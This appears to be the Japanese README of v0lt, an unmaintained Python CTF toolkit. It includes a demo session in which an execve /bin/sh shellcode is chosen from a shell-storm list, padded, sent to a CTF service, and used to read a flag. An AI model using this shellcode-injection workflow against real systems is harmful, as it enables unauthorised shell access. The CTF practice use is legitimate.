p1kachu/v0ltセキュリティCTFツールキット（メンテナンス終了）
v0ltは、私がセキュリティCTFで使用した/使用している/使用する予定の全てのツールを、Pythonスタイルで再グループ化する試みです。 多くの演習はbashスクリプトで解決されていましたが、Pythonの方が柔軟性が高いかもしれないため、これを作りました。 Gallopsledとは関係ありません。これは小さくても特定のユーティリティだけを備えたおもちゃのツールキットです。
このプロジェクトはもうメンテナンスされていません。ユーティリティ自体が十分に小さいため、ほとんどはメンテナンスを必要とせずに動作します。ただし、プルリクエストを提出したい場合は自由にどうぞ:)
# for v0lt install
git clone https://github.com/P1kachu/v0lt.git
cd v0lt
[sudo] python3 setup.py install # sudo is required for potentially missing dependencies
>>> from v0lt import *
>>> nc = Netcat("archpichu.ddns.net", 65102)
Connected to port 65102
>>> print(nc.read())
GIVE ME SHELLCODZ
>>> shellhack = ShellCrafter(4096, "bin","execve")
>>> shellhack.get_shellcodes(shellhack.keywords)
...<SNIPPED>...
85: Linux/x86:setuid(0) & execve(/sbin/poweroff -f) - 47 bytes
86: Linux/x86:execve (/bin/sh) - 21 Bytes
87: Linux/x86:break chroot execve /bin/sh - 80 bytes
88: Linux/x86:execve(/bin/sh,0,0) - 21 bytes
...<SNIPPED>...
Selection: 86
Your choice: http://shell-storm.org/shellcode/files/shellcode-752.php
Shellcode: "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62[...]"
>>> nc.shellcat(shellhack.shellcode)
>>> nc.writeln(shellhack.pad())
>>> exploit = nc.dialogue("cat flag", 3)
>>> print(exploit)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:
File name too long
P1kaCTF{sh3llc0de_1s_e4zY}
Crypto
Shellcodes
簡単な接続サポート
Solving
その他
例はで利用可能です。